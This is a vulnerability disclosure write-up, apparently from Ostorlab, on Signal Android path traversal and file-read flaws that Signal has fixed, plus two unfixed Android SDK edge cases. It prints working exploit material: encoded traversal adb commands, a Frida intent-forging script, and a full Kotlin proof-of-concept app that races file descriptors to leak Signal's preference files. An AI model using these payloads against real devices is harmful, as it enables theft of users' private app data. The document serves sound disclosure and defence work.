Mon 11 August 2025
Introduction
In the wake of the TeleMessage breach, a Signal fork with misleading security claims, we at Ostorlab decided to review the security of Signal itself—an application renowned for its robust security practices. Using our automated vulnerability scanning platform, we uncovered two weaknesses in the Signal Android up to version 7.44.1 paired with two vulnerabilities in the Android SDK that could allow access to internal files, including access to encrypted databases, subset of plaintext contacts, firebase notification tokens and webview cache and cookie jar.
Before diving into the technical details, we want to highlight Signal's exceptional response to our disclosure. The Signal security team acknowledged our findings within just 3 hours and had fixes ready within days—a stellar example of how security vulnerabilities should be handled. This responsiveness demonstrates Signal's commitment to user security and sets a gold standard for the industry.
This article provides a deep technical dive into these findings.
Path Traversal in BlobContentProvider
- Type: Path Traversal via URL-decoded segments
- Component:
BlobContentProvider
(BlobProvider.java
:188) - Impact: Read access to internal application files
- Status: Fixed
Our automated static analysis identified a path traversal vulnerability through taint propagation to the File <init>
method in org.thoughtcrime.securesms.providers.BlobContentProvider
.
The BlobContentProvider
is declared in AndroidManifest.xml
with android:exported="false"
and android:grantUriPermissions="true"
.
<provider android:name=".providers.BlobContentProvider"
android:authorities="${applicationId}.blob"
android:exported="false"
android:grantUriPermissions="true" />
A path traversal vulnerability exists in
org.thoughtcrime.securesms.providers.BlobContentProvider
(specifically BlobProvider.java:188
). This flaw allows manipulation of file paths when constructing internal blob file names.
Access to the BlobContentProvider
's openFile
method via a Uri
. This typically requires elevated privileges (e.g., adb shell
access) or a scenario where grantUriPermissions
is granted for a manipulable URI.
The BlobContentProvider
implements openFile
(BlobContentProvider.java:34
) as a handler for read requests. This openFile
function takes a user-controlled Uri
as an argument:
public ParcelFileDescriptor openFile(@NonNull Uri uri,
@NonNull String mode)
throws FileNotFoundException
The uri
argument is subsequently passed to BlobProvider.getInstance().getStream
(BlobContentProvider.java:38
):
InputStream stream = BlobProvider.getInstance().getStream(AppDependencies.getApplication(), uri))
Which then calls getBlobRepresentation
(BlobProvider.java:161
):
return
getBlobRepresentation(
context,
uri,
ByteArrayMediaDataSource::new,
file->EncryptedMediaDataSource.createForDiskBlob(getAttachmentSecret(context),file));
At BlobProvider.java:188
, the ID_PATH_SEGMENT
(5th segment) of the uri
argument is extracted. This extracted string is used to build the filename, which is then combined with a directory path and passed to the File
constructor:
String id = uri.getPathSegments().get(ID_PATH_SEGMENT);
String directory = getDirectory(storageType);
File file = new File(getOrCreateDirectory(context, directory), buildFileName(id));
Uri.getPathSegments()
method (excerpt shown below) performs URL decoding on each path segment. This means that URL-encoded path traversal sequences (e.g., %2F
for /
) are decoded into their literal characters before the File object is constructed, allowing the traversal to occur.
// Excerpt from Android SDK's Uri.java (similar to getPathSegments implementation)
/**
* Gets the individual path segments. Parses them if necessary.
*
* @return parsed path segments or null if this isn't a hierarchical
* URI
*/
PathSegments getPathSegments() {
if (pathSegments != null) {
return pathSegments;
}
String path = getEncoded();
if (path == null) {
return pathSegments = PathSegments.EMPTY;
}
PathSegmentsBuilder segmentBuilder = new PathSegmentsBuilder();
int previous = 0;
int current;
while ((current = path.indexOf('/', previous)) > -1) {
if (previous < current) {
String decodedSegment = decode(path.substring(previous, current)); segmentBuilder.add(decodedSegment);
}
previous = current + 1;
}
if (previous < path.length()) {
segmentBuilder.add(decode(path.substring(previous))); }
return pathSegments = segmentBuilder.build();
}
In the getPathSegments
implementation, no sanitization for path traversal sequences (../
or URL-encoded equivalents) is performed on the extracted id after decoding and before file path construction.
The following adb shell content read
command can be used to trigger the path traversal:
adb shell content read --uri "content://org.thoughtcrime.securesms.blob
/blob/single-session-disk/text_plain/test.txt
/1024/..%2F..%2Fshared_prefs%2Forg.thoughtcrime.securesms_preferences.xml"
Hooking the File
constructor reveals the path traversal payload being processed:
Attaching...
[*] Script loaded successfully
[*] BlobContentProvider.openFile() hooked successfully
[Pixel 5::PID::4020 ]->
[+] BlobContentProvider.openFile() called
[+] URI: content://org.thoughtcrime.securesms.blob/blob/single-session-disk/text_plain/
test.txt/1024/..%2F..%2Fshared_prefs%2Forg.thoughtcrime.securesms_preferences.xml
[+] Mode: r
[+] Stack trace:
org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
android.content.ContentProvider.openFile(ContentProvider.java:1948)
android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
android.os.Binder.execTransactInternal(Binder.java:1154)
android.os.Binder.execTransact(Binder.java:1123)
...
[+] File constructor called with parent and child
[+] Parent path: /data/user/0/org.thoughtcrime.securesms/app_single_session_blobs
[+] Child name: ../../shared_prefs/org.thoughtcrime.securesms_preferences.xml.blob (1)
[+] Stack trace:
java.io.File.<init>(Native Method)
org.thoughtcrime.securesms.providers.BlobProvider.getBlobRepresentation(BlobProvider.java:186)
org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:140)
org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:130)
org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(BlobContentProvider.java:38)
org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
android.content.ContentProvider.openFile(ContentProvider.java:1948)
android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
android.os.Binder.execTransactInternal(Binder.java:1154)
android.os.Binder.execTransact(Binder.java:1123)
[!] Exception in openFile: Error: java.io.FileNotFoundException
As shown, the path traversal payload ../../
is used by the File
constructor. A direct reading of the targeted file is prevented because the buildFileName
function appends a .blob
extension to the file name (org.thoughtcrime.securesms_preferences.xml.blob
), causing a FileNotFoundException
unless the target file explicitly has this extension.
To potentially circumvent this filename processing, a symbolic link could be created to point to the desired file. The name of this symbolic link (without a .blob
extension) would then be passed to the Content Provider. This would effectively bypass the .blob
extension check, as the File constructor would receive the name of the symlink, which then resolves to the target file:
Creating a symlink named toto.blob
in a writable, accessible directory (like /data/local/tmp
) that points to a sensitive target file within Signal's private data (targets.xml
):
806290 lrwxrwxrwx 1 root root 98 2025-05-19 19:25 toto.blob -> /data/data/org.thoughtcrime.securesms/files/ShortcutInfoCompatSaver_share_targets/targets.xml
adb shell content read --uri "content://org.thoughtcrime.securesms.blob/blob/single-session-disk/text_plain/test.txt/99999999/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Ftoto"
Hooking the File
constructor reveals the path traversal payload being processed:
Attaching...
[*] Script loaded successfully
[*] BlobContentProvider.openFile() hooked successfully
[Pixel 5::PID::27976 ]->
[+] BlobContentProvider.openFile() called
[+] URI: content://org.thoughtcrime.securesms.blob/blob/single-session-disk/text_plain/test.txt/99999999/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Ftoto
[+] Mode: r
[+] Stack trace:
org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
android.content.ContentProvider.openFile(ContentProvider.java:1948)
android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
android.os.Binder.execTransactInternal(Binder.java:1154)
android.os.Binder.execTransact(Binder.java:1123)
[+] File constructor called with parent and child
[+] Parent path: /data/user/0/org.thoughtcrime.securesms
[+] Child name: app_single_session_blobs
[+] Stack trace:
java.io.File.<init>(Native Method)
android.app.ContextImpl.makeFilename(ContextImpl.java:2861)
android.app.ContextImpl.getDir(ContextImpl.java:2558)
android.content.ContextWrapper.getDir(ContextWrapper.java:318)
org.thoughtcrime.securesms.providers.BlobProvider.getOrCreateDirectory(BlobProvider.java:452)
org.thoughtcrime.securesms.providers.BlobProvider.getBlobRepresentation(BlobProvider.java:186)
org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:140)
org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:130)
org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(BlobContentProvider.java:38)
org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
android.content.ContentProvider.openFile(ContentProvider.java:1948)
android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
android.os.Binder.execTransactInternal(Binder.java:1154)
android.os.Binder.execTransact(Binder.java:1123)
[+] File constructor called with parent and child
[+] Parent path: /data/user/0/org.thoughtcrime.securesms/app_single_session_blobs
[+] Child name: ../../../../../../../../../tmp/toto.blob
[+] Stack trace:
java.io.File.<init>(Native Method)
org.thoughtcrime.securesms.providers.BlobProvider.getBlobRepresentation(BlobProvider.java:186)
org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:140)
org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:130)
org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(BlobContentProvider.java:38)
org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
android.content.ContentProvider.openFile(ContentProvider.java:1948)
android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
android.os.Binder.execTransactInternal(Binder.java:1154)
android.os.Binder.execTransact(Binder.java:1123)
[+] openFile returned successfully
Any file read through this mechanism, even if it's a clear-text file, will be passed through a decryption routine. Consequently, if a cleartext file were successfully read, its content would be decrypted, resulting in garbled or unintelligible output.
The output is however decrypted with the first bytes of the file. Reading files with predictable headers can still be retrieved. This vulnerability can be chained with the File Read Vulnerability (next section) to access clear text files.
Signal patched the issue by encoding /
and other special characters:
private static @Nullable String getId(@NonNull Uri uri) {
if (isAuthority(uri)) {
return Uri.encode(uri.getPathSegments().get(ID_PATH_SEGMENT));
}
return null;
}
@@ -422,7 +422,7 @@ public static boolean isAuthority(@NonNull Uri uri) {
}
private static @NonNull String buildFileName(@NonNull String id) {
return Uri.encode(id) + ".blob";
}
private static @NonNull String getDirectory(@NonNull StorageType storageType) {
The use of Uri.encode()
ensures that /
characters remain encoded as %2F
, preventing path traversal attacks.
File Read Vulnerability in ShareActivity
- Type: Arbitrary file read through intent manipulation
- Component:
ShareActivity
- Impact: Exfiltration of private application files
- Status: Fixed
<activity android:name=".sharing.v2.ShareActivity"
android:theme="@style/Theme.Signal.DayNight.NoActionBar"
android:exported="true"
android:excludeFromRecents="true"
android:taskAffinity=""
android:windowSoftInputMode="stateHidden"
android:configChanges="touchscreen|keyboard|keyboardHidden|orientation|screenLayout|screenSize">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="audio/*" />
<data android:mimeType="image/*" />
<data android:mimeType="text/plain" />
<data android:mimeType="video/*" />
<data android:mimeType="application/*"/>
<data android:mimeType="text/*"/>
<data android:mimeType="*/*"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.SEND_MULTIPLE" />
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="image/*" />
<data android:mimeType="video/*" />
</intent-filter>
<meta-data
android:name="android.service.chooser.chooser_target_service"
android:value="androidx.sharetarget.ChooserTargetServiceCompat"
tools:targetApi="23" />
</activity>
Upon receiving an intent, the onCreate
callback (ShareActivity.kt:84
) calls getUnresolvedShareData
(ShareActivity.kt:87
) to validate and process the incoming intent's data.
The getUnresolvedShareData
method (ShareActivity.kt
) handles intents differently based on their action and extras (e.g., ACTION_SEND_MULTIPLE
with EXTRA_TEXT
at line 198, ACTION_SEND_MULTIPLE
with EXTRA_STREAM
at line 213, etc.). The intent content is eventually encapsulated in one of the UnresolvedShareData
sealed classes (UnresolvedShareData.kt
):
sealed class UnresolvedShareData {
data class ExternalMultiShare(val uris: List<Uri>) : UnresolvedShareData()
data class ExternalSingleShare(val uri: Uri,
val mimeType: String?,
val text: CharSequence?) : UnresolvedShareData()
data class ExternalPrimitiveShare(val text: CharSequence) : UnresolvedShareData()
}
These are then processed by a resolve
function in ShareRepository.kt:25
:
fun resolve(unresolvedShareData: UnresolvedShareData): Single<out ResolvedShareData> {
return when (unresolvedShareData) {
is UnresolvedShareData.ExternalMultiShare -> Single.fromCallable { resolve(unresolvedShareData) }
is UnresolvedShareData.ExternalSingleShare -> Single.fromCallable { resolve(unresolvedShareData) }
...
}.subscribeOn(Schedulers.io())
}
For UnresolvedShareData.ExternalSingleShare
intents, a crucial security check is performed via UriUtil.isValidExternalUri
(UriUtil.kt:21
):
private fun resolve(multiShareExternal: UnresolvedShareData.ExternalSingleShare): ResolvedShareData {
if (!UriUtil.isValidExternalUri(appContext, multiShareExternal.uri)) {
return ResolvedShareData.Failure
}
}
// UriUtil.kt:21
fun isValidExternalUri(context: Context, uri: Uri): Boolean {
if (ContentResolver.SCHEME_FILE == uri.scheme) {
try {
val file = File(uri.path)
return file.canonicalPath == file.path &&
!file.canonicalPath.startsWith("/data") &&
!file.canonicalPath.contains(context.packageName)
} catch (e: IOException) {
return false
}
} else {
return true
}
}
This isValidExternalUri
function correctly prevents file://
URIs from pointing to internal application data directories (/data
) or the app's own package name.
However, for UnresolvedShareData.ExternalMultiShare
intents (ShareRepository.kt, resolve
for ExternalMultiShare
), this critical isValidExternalUri
check is missing. The only conditions for handling are that the intent must have a mimeType
matching an image or video (MediaUtil.isImageType(it) || MediaUtil.isVideoType(it)
).
This allows a malicious application to provide a file://
URI pointing to any file within Signal's private data directory. When such an intent is processed, Signal's internal media handling routines will read the content of the specified private file and subsequently copy it into its own internal, private blob storage (app_single_session_blobs
).
The following Frida script demonstrates how a malicious application can forge and send an ACTION_SEND_MULTIPLE
intent to ShareActivity
, forcing Signal to read a sensitive file (targets.xml
, which contains victim contact names) from its private data directory:
Java.perform(function () {
try {
var Intent = Java.use('android.content.Intent');
var intent = Intent.$new();
intent.setAction(Intent.ACTION_SEND_MULTIPLE.value);
intent.setType("image/png");
var Uri = Java.use('android.net.Uri');
var uri1 = Uri.parse("file://data/data/org.thoughtcrime.securesms"+
"/files/ShortcutInfoCompatSaver_share_targets/targets.xml");
var uri2 = Uri.parse("file://data/tmp/file.png");
var ArrayList = Java.use('java.util.ArrayList');
var uriList = ArrayList.$new();
uriList.add(uri1);
uriList.add(uri2);
intent.putParcelableArrayListExtra(Intent.EXTRA_STREAM.value, uriList);
var ComponentName = Java.use('android.content.ComponentName');
var component = ComponentName.$new(
"org.thoughtcrime.securesms",
"org.thoughtcrime.securesms.sharing.v2.ShareActivity"
);
intent.setComponent(component);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK.value);
var ActivityThread = Java.use('android.app.ActivityThread');
var context = ActivityThread.currentApplication().getApplicationContext();
context.startActivity(intent);
console.log("Intent sent successfully!");
} catch (e) {
console.error("Error sending intent: " + e);
}
});
Upon successfully sending the crafted intent, Signal reads the content of targets.xml
and creates a new blob file within its private storage, typically in app_single_session_blobs
. The existence of this new blob confirms the internal arbitrary file read:
find . -name *blob | xargs ls -ali
./app_single_session_blobs/ad7843bd-5377-46ea-9a85-fe78d9f86050.blob
./app_single_session_blobs/e9dfcb56-c005-4150-bbf3-ca70960c05ab.blob
The newly created blob files are stored in an encrypted format within Signal's private data directory. While the ShareActivity
facilitates an internal read and copy, the malicious application does not gain direct access to the cleartext content. To retrieve the content of these blobs, a separate read operation via the BlobContentProvider
would be required.
To fully exploit the file read, three issues need to be addressed, a (1) security exception enforced by the Android SDK, (2) a mime type validation enforced by Signal using the Android SDK, and (3) guessing random file name using UUID 4.
All of these are however bypassable due to two new vulnerabilities discovered in the Android SDK and abusing the path traversal vulnerability to bypass file name randomness. The Android SDK issues won’t be fixed due to backward compatibility and technical feasibility challenges.
File URI Security Exception and File Type Confusion
The premise of the previous bug is being able to pass file://
URI from a malicious application that can masquerade as any file type while still referencing any file type.
Sending the following intent from a malicious application triggers the following error:
fun triggerVulnerability(): Boolean {
val intent = Intent().apply {
action = Intent.ACTION_SEND_MULTIPLE
type = "image/png"
};
var uris = ArrayList<Uri>()
var uri1 = Uri.parse("file:///data/data/org.thoughtcrime.securesms/" +
"shared_prefs/org.thoughtcrime.securesms_preferences.xml");
uris.add(uri1);
intent.putParcelableArrayListExtra(Intent.EXTRA_STREAM, uris);
intent.putExtra("android.intent.extra.shortcut.ID", "0");
startActivity(intent)
return true
}
The URI
is blocked by Android reporting a FileUriExposedException
.
The check is however trivially bypassable due to a start with system
check edge case, hence the following URL allows to trigger passing file://system/../data/
scheme and bypassing the security exception.
public void checkFileUriExposed(String location) {
if ("file".equals(getScheme())
&& (getPath() != null) && !getPath().startsWith("/system/")) {
StrictMode.onFileUriExposed(this, location);
}
}
Passing this URI is able to reach Signal, but won’t pass a check on the type of URI
due to a check on the mime type matching image or a video
ResolvedShareData {
val mimeTypes: Map<Uri, String> = externalMultiShare.urisAdd commentMore actions
.filter { UriUtil.isValidExternalUri(appContext, it) }
.associateWith { uri -> getMimeType(appContext, uri, null) }
.filterValues {
MediaUtil.isImageType(it) || MediaUtil.isVideoType(it)
}
The check is using MediaTypeMap
method to get the file extension from URL
public static String getFileExtensionFromUrl(String url) {
if (!TextUtils.isEmpty(url)) {
int fragment = url.lastIndexOf('#');
if (fragment > 0) {
url = url.substring(0, fragment);
}
int query = url.lastIndexOf('?');
if (query > 0) {
url = url.substring(0, query);
}
int filenamePos = url.lastIndexOf('/');
String filename =
0 <= filenamePos ? url.substring(filenamePos + 1) : url;
// if the filename contains special characters, we don't
// consider it valid for our matching purposes:
if (!filename.isEmpty() &&
Pattern.matches("[a-zA-Z_0-9\\.\\-\\(\\)\\%]+", filename)) {
int dotPos = filename.lastIndexOf('.');
if (0 <= dotPos) {
return filename.substring(dotPos + 1);
}
}
}
return "";
}
The implementation is however insecure and is vulnerable allowing any file extension to masquerade as any other extension. The issue stems from the use of lastIndexOf
?
and /
causing the method to process /a.png
instead of toto.xml
in the example below:
file://folder/toto.xml?/a.png?
Chaining these two issues in the Android SDK allows to pass any file://
URI and access any internal file of Signal of any type. Next challenge is UUID4 name guessing.
File Name Randomness
The ShareActivity
creates files with random names using unpredictable UUID 4. In order to access them from the content provider would require knowing the blob id.
This can however be bypassed by chaining the path traversal and access file descriptors directly. All files once opened return a file descriptor number. This is typically a small incremental number that can easily be brute forced. Additionally the file descriptor will have a symbolic link to the open file descriptor present at the /proc/<pid>/fd/<fd_number>
.
The file descriptor numbers are easily predictable as can be seen from the trace below showing the blob opened with the file descriptor 251 (0xfb
).
We can also confirm the creation of the file descriptor by watching the fd
folder as seen in the screenshot below:
It is therefore possible for a malicious application to trigger repeated intent with the FLAG_ACTIVITY_NEW_TASK
flag to ensure multiple activities are created. At the same time the malicious app will attempt to read all symbolic links until it gets a match, below is a sample code to achieve this:
package co.ostorlab.malsignal
import android.content.Intent
import android.net.Uri
import android.os.Build
import android.os.Bundle
import android.system.Os
import android.util.Log
import androidx.activity.ComponentActivity
import java.io.File
class MainActivity : ComponentActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
triggerSecurityException()
}
private fun createSymlinks() {
// Create 100 symbolic links from number.blob to /proc/self/fd/number
for (i in 0..99) {
val symlinkFile = File("/data/data/co.ostorlab.malsignal", "$i.blob")
// Delete if it exists, to recreate it.
if (symlinkFile.exists())
symlinkFile.delete()
Os.symlink("/proc/self/fd/$i", symlinkFile.absolutePath)
symlinkFile.setReadable(true, false)
symlinkFile.setWritable(true, false)
Log.d("PoC", "Created symlink: ${symlinkFile.absolutePath} -> /proc/self/fd/$i")
}
}
fun triggerSecurityException(): Boolean {
createSymlinks()
// Thread to continuously send intents to Signal to force it to open its preferences file
Thread {
while (true) {
val intent = Intent().apply {
action = Intent.ACTION_SEND_MULTIPLE
type = "image/png"
setPackage("org.thoughtcrime.securesms")
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
val uris = ArrayList<Uri>()
val uri1 = Uri.parse("file:///system/../data/data/org.thoughtcrime.securesms/shared_prefs/org.thoughtcrime.securesms_preferences.xml?/a.png?")
uris.add(uri1)
intent.putParcelableArrayListExtra(Intent.EXTRA_STREAM, uris)
intent.putExtra("android.intent.extra.shortcut.ID", "1");
try {
startActivity(intent)
} catch (e: Exception) {
Log.e("PoC", "Error starting activity for intent sending thread", e)
}
}
}.start()
// Thread to continuously query Signal's BlobContentProvider to race and read the FD
Thread {
val signalBlobProviderAuthority = "org.thoughtcrime.securesms.blob"
// Path traversal to get from Signal's blob dir to our cache dir.
// Assumes blob dir is 2 levels deep, e.g., /data/data/pkg/files/blobs
val traversalPath = "blob/single-session-disk/text_plain/test.txt/1024/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fco.ostorlab.malsignal"
while (true) {
for (i in 0..300) {
val maliciousUri = Uri.parse("content://$signalBlobProviderAuthority/$traversalPath$i")
try {
contentResolver.openInputStream(maliciousUri)?.use { inputStream ->
val content = inputStream.bufferedReader().readText()
if (content.isNotBlank()) {
Log.d("PoC", "SUCCESS! Leaked content from FD $i:\n$content")
}
}
} catch (e: Exception) {
// This is expected to fail most of the time as we are racing.
}
}
}
}.start()
return true
}
}
Bonus: Resolution and TOCTOU Analysis
Signal addressed the ShareActivity
vulnerability by implementing comprehensive URI validation. However, the fix contains a theoretical Time-of-Check Time-of-Use (TOCTOU) vulnerability that, while academically interesting, cannot be exploited in practice due to Android's filesystem constraints.
Signal added validation through the isValidExternalUri
method:
/**
* Ensures that an external URI is valid and doesn't contain any references to internal files or
* any other trickiness.
*/
@JvmStatic
fun isValidExternalUri(context: Context, uri: Uri): Boolean {
if (ContentResolver.SCHEME_FILE == uri.scheme) {
try {
val file = File(uri.path)
return file.canonicalPath == file.path &&
!file.canonicalPath.startsWith("/data") &&
!file.canonicalPath.contains(context.packageName)
} catch (e: IOException) {
return false
}
} else {
return true
}
}
This validation is applied to all URIs in the ShareActivity:
private fun resolve(externalMultiShare: UnresolvedShareData.ExternalMultiShare): ResolvedShareData {
val mimeTypes: Map<Uri, String> = externalMultiShare.uris
.filter { UriUtil.isValidExternalUri(appContext, it) } // Validation happens here
.associateWith { uri -> getMimeType(appContext, uri, null) }
.filterValues {
MediaUtil.isImageType(it) || MediaUtil.isVideoType(it)
}
// ... rest of processing
}
The validation performs three critical checks for file:// URIs:
- Canonical Path Check:
file.canonicalPath == file.path
- Prevents symlink traversal by ensuring the resolved path matches the original
-
Blocks any indirection through symbolic links
-
Data Directory Block:
!file.canonicalPath.startsWith("/data")
- Prevents access to any app's private data
-
Blocks the entire /data partition where sensitive files reside
-
Package Name Check:
!file.canonicalPath.contains(context.packageName)
- Additional defense against accessing Signal's files
- Catches edge cases where files might exist outside /data
A TOCTOU vulnerability exists because of the time gap between validation and actual file usage:
Time T1: isValidExternalUri()
checks the file
- Reads canonical path
- Validates it's safe
- Returns true
Time T2: ShareActivity
processes the file
- Opens and reads the file
- Copies to blob storage
- Attacker provides a legitimate file path (e.g.,
/sdcard/innocent.jpg
) - Validation passes at T1
- Between T1 and T2, attacker replaces the file with a symlink to
/data/data/org.thoughtcrime.securesms/private_file
- ShareActivity reads the private file at T2
Android's filesystem architecture prevents this TOCTOU exploitation due to the following reasons:
1. Limited Write Access:
/data/ ← Only writable by apps in their own directories
/sdcard/ ← Writable but doesn't support symlinks
/system/ ← Read-only
/vendor/ ← Read-only
/tmp/ ← Maps to /data/
2. External Storage Constraints:
- Android's FUSE filesystem for external storage (
/sdcard
) explicitly blocks symlink creation - Attempting to create a symlink fails with
Operation not permitted
:
vbox86p:/data/data/org.thoughtcrime.securesms # ln -s /data/local/tmp/target /sdcard/link
ln: cannot create symbolic link from '/data/local/tmp/target' to '/sdcard/link': Function not implemented
4. Theoretical Bypass Requirements: For this TOCTOU to be exploitable, an attacker would need:
- Write access to a directory outside
/data
that supports symlinks - Ability to create/modify files in that directory
Putting it all together
Below is a schema that shows how the different issues in both Signal and the Android SDK can be chained to read file in the Signal application:
- Brute force intents to the
ShareActivity
to trigger reading internal files - The internal file is encrypted and added to the
BlobProvider
BlobProvider
generates a random UUID file name and adds it to the internal database- The malicious app brute force and exploit the path traversal targeting the symbolic links pointing to the file descriptors
- The
BlobProvider
will point to symbolic file, read the file description pointing to the actual file - The
BlobProvider
will decrypt and return the file content in cleartext as the key is stored in the header of the file - The file is finally returned to the application in cleartext
Since the file descriptor is short lived, this approach must be done in a loop until we are able to leak the target file.
Implications and Security Lessons
Through these vulnerabilities, an attacker could potentially access Signal's internal file structure. Our analysis reveals both the strength of Signal's encryption architecture and areas where sensitive data remains exposed. Here's a detailed breakdown of what
we discovered:
1. Shared Preferences Directory (/data/data/org.thoughtcrime.securesms/shared_prefs/
)
The vulnerabilities provided access to several XML preference files:
FirebaseHeartBeatW0RFRkFVTFRd+MTozMTIzMzQ3NTQyMDY6YW5kcm9pZDphOTI5N2IxNTI4NzlmMjY2.xml
SecureSMS-Preferences.xml
WebViewChromiumPrefs.xml
com.google.firebase.messaging.xml
org.thoughtcrime.securesms_preferences.xml
2. Encrypted Encryption Keys (org.thoughtcrime.securesms_preferences.xml
)
This file contains Signal's most sensitive configuration data encrypted with shared key stored in the Keystore:
<!-- Database Encryption Key (encrypted) -->
<string name="pref_database_encrypted_secret">{
"data":"2svYD9iQG6OfHED1UaOwXE5LJxKYQF8cdOPKuO8qFSSzJjpbSQFPIek6lD6IQdgn",
"iv":"NjYUlRR5zFafr+/O"
}</string>
<!-- Attachment Encryption Key (encrypted) -->
<string name="pref_attachment_encrypted_secret">{
"data":"F3K0UcrC8w0tr63tV4W5YF4q/X7MtXXdu18bVg8uC3HCCEAIzwQnYrZcY82UMRkacixOojMjyFaNURV29yjuVeMSnhVQx8JjRKPOF08wUBMy3GbTOaNXPsbBxJhzQL7O1/3UniTIE3wf5GNa8PPW4KOPwtlqx8ye",
"iv":"4poKjqQ+7uIQvNAj"
}</string>
<!-- Backup Passphrase (encrypted) -->
<string name="pref_encrypted_backup_passphrase">{
"data":"1SPumdNl5WDvtkUhF3ELScZwItO3s/aWjr8IolTa3eFvioUvDIeAMNiXkvFhyqWPuAH4",
"iv":"5BGyF7jmtjOA5c1x"
}</string>
3. Metadata and Configuration
The preferences file also exposes various metadata:
- Installation timestamp and version
- User preferences (read receipts, typing indicators)
- Backup schedule timestamps
- Key rotation timestamps
- Migration version tracking
4. Cleartext Files
Several files store unencrypted data:
- XML Targets file leaks contact information for sharing shortcuts
WebViewChromiumPrefs.xml
: WebView configuration and state- Firebase configuration: Push notification tokens and configuration
- Various cache files: Temporary data and user preferences
Open contacts at /data/data/org.thoughtcrime.securesms/files/ShortcutInfoCompatSaver_share_targets/targets.xml
:
<?xml version='1.0' encoding='UTF_8' standalone='yes' ?>
<share_targets>
<target id="2" short_label="Note to Self" rank="1" long_label="Note to Self" component="org.thoughtcrime.securesms/org.thoughtcrime.securesms.RoutingActivity">
<intent action="ConversationIntents.ViewConversation" targetPackage="org.thoughtcrime.securesms" targetClass="org.thoughtcrime.securesms.conversation.v2.ConversationActivity" />
<categories name="org.thoughtcrime.securesms.sharing.CATEGORY_SHARE_TARGET" />
</target>
<target id="4" short_label="Toto" rank="2" long_label="Toto TopBar" component="org.thoughtcrime.securesms/org.thoughtcrime.securesms.RoutingActivity">
<intent action="ConversationIntents.ViewConversation" targetPackage="org.thoughtcrime.securesms" targetClass="org.thoughtcrime.securesms.conversation.v2.ConversationActivity" />
<categories name="org.thoughtcrime.securesms.sharing.CATEGORY_SHARE_TARGET" />
</target>
<target id="20" short_label="Foo" rank="0" long_label="Foo Bar" component="org.thoughtcrime.securesms/org.thoughtcrime.securesms.RoutingActivity">
<intent action="ConversationIntents.ViewConversation" targetPackage="org.thoughtcrime.securesms" targetClass="org.thoughtcrime.securesms.conversation.v2.ConversationActivity" />
<categories name="org.thoughtcrime.securesms.sharing.CATEGORY_SHARE_TARGET" />
</target>
</share_targets>
Signal implements multi-layer encryption. The first layer is database encryption using SQLCipher:
private static @NonNull DatabaseSecret getOrCreate(@NonNull Context context) {
String unencryptedSecret = TextSecurePreferences.getDatabaseUnencryptedSecret(context);
String encryptedSecret = TextSecurePreferences.getDatabaseEncryptedSecret(context);
if (unencryptedSecret != null)
return getUnencryptedDatabaseSecret(context, unencryptedSecret);
else if (encryptedSecret != null)
return getEncryptedDatabaseSecret(encryptedSecret);
else
return createAndStoreDatabaseSecret(context);
}
The second layer is done using Android Keystore:
private static @NonNull DatabaseSecret createAndStoreDatabaseSecret(@NonNull Context context) {
SecureRandom random = new SecureRandom();
byte[] secret = new byte[32];
random.nextBytes(secret);
DatabaseSecret databaseSecret = new DatabaseSecret(secret);
if (Build.VERSION.SDK_INT >= 23) {
// Use hardware-backed encryption when available
KeyStoreHelper.SealedData encryptedSecret = KeyStoreHelper.seal(databaseSecret.asBytes());
TextSecurePreferences.setDatabaseEncryptedSecret(context, encryptedSecret.serialize());
} else {
// Fallback for older devices (less secure)
TextSecurePreferences.setDatabaseUnencryptedSecret(context, databaseSecret.asString());
}
return databaseSecret;
}
These protections prevent directly leveraging the arbitrary file read into a full signal account compromise. A second vulnerability would be required like an encryption oracle with cryptographic weaknesses or Keystore bypass.
Signal Response
Signal's response to these findings—acknowledging within 3 hours and deploying fixes within days—demonstrates their commitment to user security. While improvements can be made, their defense-in-depth approach ensures that even with these vulnerabilities, user messages remain strongly protected.
The key takeaway: Security is layered, and while each layer may have weaknesses, the combination provides robust protection. Signal's architecture exemplifies this principle, even as our findings show there's always room for improvement.
Google Response
Google has reported both issues to be working as intended, below is their answer:
References
We do newsletters, too
Get the latest news, updates, and product innovations from Ostorlab right in your inbox.
Table of Contents